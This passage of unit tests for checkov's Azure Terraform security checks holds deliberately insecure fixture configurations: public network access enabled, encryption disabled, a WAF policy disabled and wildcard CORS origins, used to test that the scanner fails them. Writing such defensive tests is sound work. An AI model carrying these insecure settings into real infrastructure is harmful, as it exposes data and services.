scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_DataExplorerSKUHasSLA.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.DataExplorerSKUHasSLA import check from checkov.terraform.runner import Runner class TestDatabricksWorkspaceIsNotPublic(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_DataExplorerSKUHasSLA" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_kusto_cluster.pass", } failing_resources = { "azurerm_kusto_cluster.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_DataExplorerServiceIdentity.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.DataExplorerServiceIdentity import check from checkov.terraform.runner import Runner class TestDataExplorerServiceIdentity(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_DataExplorerServiceIdentity" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_kusto_cluster.pass", } failing_resources = { "azurerm_kusto_cluster.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_DataExplorerUsesDiskEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.DataExplorerUsesDiskEncryption import check from checkov.terraform.runner import Runner class TestDataExplorerUsesDiskEncryption(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_DataExplorerUsesDiskEncryption" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_kusto_cluster.pass", } failing_resources = { "azurerm_kusto_cluster.fail", "azurerm_kusto_cluster.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_DataFactoryNoPublicNetworkAccess.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.DataFactoryNoPublicNetworkAccess import check from checkov.common.models.enums import CheckResult class TestDataFactoryNoPublicNetworkAccess(unittest.TestCase): def test_failure_missing_attribute(self): hcl_res = hcl2.loads(""" resource "azurerm_data_factory" "example" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" } """) resource_conf = hcl_res['resource'][0]['azurerm_data_factory']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_data_factory" "example" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" public_network_enabled = true } """) resource_conf = hcl_res['resource'][0]['azurerm_data_factory']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_data_factory" "example" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" public_network_enabled = false } """) resource_conf = hcl_res['resource'][0]['azurerm_data_factory']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_DataFactoryUsesGitRepository.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.DataFactoryUsesGitRepository import check from checkov.terraform.runner import Runner class TestDataFactoryUsesGitRepository(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_DataFactoryUsesGitRepository" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_data_factory.github", "azurerm_data_factory.vsts", } failing_resources = { "azurerm_data_factory.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_DataLakeStoreEncryption.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.DataLakeStoreEncryption import check from checkov.common.models.enums import CheckResult class TestDataLakeStoreEncryption(unittest.TestCase): def test_failure_explicit(self): hcl_res = hcl2.loads(""" resource "azurerm_data_lake_store" "example" { name = "consumptiondatalake" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name encryption_state = "Disabled" } """) resource_conf = hcl_res['resource'][0]['azurerm_data_lake_store']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_data_lake_store" "example" { name = "consumptiondatalake" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } """) resource_conf = hcl_res['resource'][0]['azurerm_data_lake_store']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_explicit(self): hcl_res = hcl2.loads(""" resource "azurerm_data_lake_store" "example" { name = "consumptiondatalake" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name encryption_state = "Enabled" } """) resource_conf = hcl_res['resource'][0]['azurerm_data_lake_store']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_DatabricksWorkspaceIsNotPublic.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.DatabricksWorkspaceIsNotPublic import check from checkov.terraform.runner import Runner class TestDatabricksWorkspaceIsNotPublic(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_DatabricksWorkspaceIsNotPublic" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_databricks_workspace.pass", } failing_resources = { "azurerm_databricks_workspace.fail", "azurerm_databricks_workspace.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_EventHubNamespaceMinTLS12.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.EventHubNamespaceMinTLS12 import check class TestEventHubNamespaceMinTLS12(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_EventHubNamespaceMinTLS12") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_eventhub_namespace.pass', 'azurerm_eventhub_namespace.pass2' } failing_resources = { 'azurerm_eventhub_namespace.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_EventHubNamespaceZoneRedundant.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.EventHubNamespaceZoneRedundant import check class TestEventHubNamespaceZoneRedundant(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_EventHubNamespaceZoneRedundant") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_eventhub_namespace.pass', 'azurerm_eventhub_namespace.pass2', } failing_resources = { 'azurerm_eventhub_namespace.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_EventgridDomainIdentityProviderEnabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.EventgridDomainIdentityProviderEnabled import check from checkov.terraform.runner import Runner class TestEventgridDomainIdentityProviderEnabled(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_EventgridDomainIdentityProviderEnabled" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_eventgrid_domain.pass", } failing_resources = { "azurerm_eventgrid_domain.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_EventgridDomainLocalAuthentication.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.EventgridDomainLocalAuthentication import check from checkov.terraform.runner import Runner class TestEventgridDomainLocalAuthentication(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_EventgridDomainLocalAuthentication" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_eventgrid_domain.pass", } failing_resources = { "azurerm_eventgrid_domain.fail", "azurerm_eventgrid_domain.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_EventgridDomainNetworkAccess.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.EventgridDomainNetworkAccess import check from checkov.terraform.runner import Runner class TestEventgridDomainNetworkAccess(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_EventgridDomainNetworkAccess" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_eventgrid_domain.pass", } failing_resources = { "azurerm_eventgrid_domain.fail", "azurerm_eventgrid_domain.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_EventgridTopicIdentityProviderEnabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.EventgridTopicIdentityProviderEnabled import check from checkov.terraform.runner import Runner class TestEventgridTopicIdentityProviderEnabled(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_EventgridTopicIdentityProviderEnabled" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_eventgrid_topic.pass", } failing_resources = { "azurerm_eventgrid_topic.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_EventgridTopicLocalAuthentication.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.EventgridTopicLocalAuthentication import check from checkov.terraform.runner import Runner class TestEventgridTopicLocalAuthentication(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_EventgridTopicLocalAuthentication" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_eventgrid_topic.pass", } failing_resources = { "azurerm_eventgrid_topic.fail", "azurerm_eventgrid_topic.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_EventgridTopicNetworkAccess.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.EventgridTopicNetworkAccess import check from checkov.terraform.runner import Runner class TestEventgridTopicNetworkAccess(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_EventgridTopicNetworkAccess" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_eventgrid_topic.pass", } failing_resources = { "azurerm_eventgrid_topic.fail", "azurerm_eventgrid_topic.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_FrontDoorWAFACLCVE202144228.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.FrontDoorWAFACLCVE202144228 import check from checkov.terraform.runner import Runner class TestFrontDoorWAFACLCVE202144228(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_FrontDoorWAFACLCVE202144228" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_frontdoor_firewall_policy.dsr_1_1_default", "azurerm_frontdoor_firewall_policy.dsr_1_0_default", "azurerm_frontdoor_firewall_policy.dsr_1_1_enabled_block", "azurerm_frontdoor_firewall_policy.dsr_1_1_enabled_redirect", } failing_resources = { "azurerm_frontdoor_firewall_policy.default", "azurerm_frontdoor_firewall_policy.dsr_1_1_disabled", "azurerm_frontdoor_firewall_policy.dsr_1_1_disabled_default", "azurerm_frontdoor_firewall_policy.dsr_1_1_enabled_allow", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 4) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) # check especially for the evaluated keys actual_evaluated_keys = next( c.check_result["evaluated_keys"] for c in report.failed_checks if c.resource == "azurerm_frontdoor_firewall_policy.dsr_1_1_enabled_allow" ) expected_evaluated_keys = [ "managed_rule/[0]/type", "managed_rule/[0]/override/[0]/rule_group_name", "managed_rule/[0]/override/[0]/rule/[0]/rule_id", "managed_rule/[0]/override/[0]/rule/[0]/enabled", "managed_rule/[0]/override/[0]/rule/[0]/action", ] self.assertCountEqual(expected_evaluated_keys, actual_evaluated_keys) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_FrontdoorUseWAFMode.py ================================================ import unittest import hcl2 from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.azure.FrontdoorUseWAFMode import check class TestFrontdoorUseWAFMode(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_frontdoor_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { enabled = false request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "azurerm_frontdoor_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { enabled = false mode = "Prevention" request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success1(self): hcl_res = hcl2.loads(""" resource "azurerm_frontdoor_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { enabled = true mode = "Prevention" request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "azurerm_frontdoor_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { mode = "Prevention" request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success3(self): hcl_res = hcl2.loads(""" resource "azurerm_frontdoor_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { enabled = true request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success4(self): hcl_res = hcl2.loads(""" resource "azurerm_frontdoor_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_FunctionAppDisallowCORS.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.FunctionAppDisallowCORS import check from checkov.common.models.enums import CheckResult class TestFunctionAppDisallowCORS(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_function_app" "example" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key site_config { cors { allowed_origins = ["*"] } } } """) resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success1(self): hcl_res = hcl2.loads(""" resource "azurerm_function_app" "example" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key site_config { cors { allowed_origins = ["192.0.0.1"] } } } """) resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "azurerm_function_app" "example" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key } """) resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_FunctionAppEnableLogging.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.FunctionAppEnableLogging import check class TestFunctionAppEnableLogging(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_FunctionAppEnableLogging") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_function_app.pass', 'azurerm_function_app.pass2', 'azurerm_function_app_slot.pass', 'azurerm_function_app_slot.pass2', } failing_resources = { 'azurerm_function_app.fail', 'azurerm_function_app_slot.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) 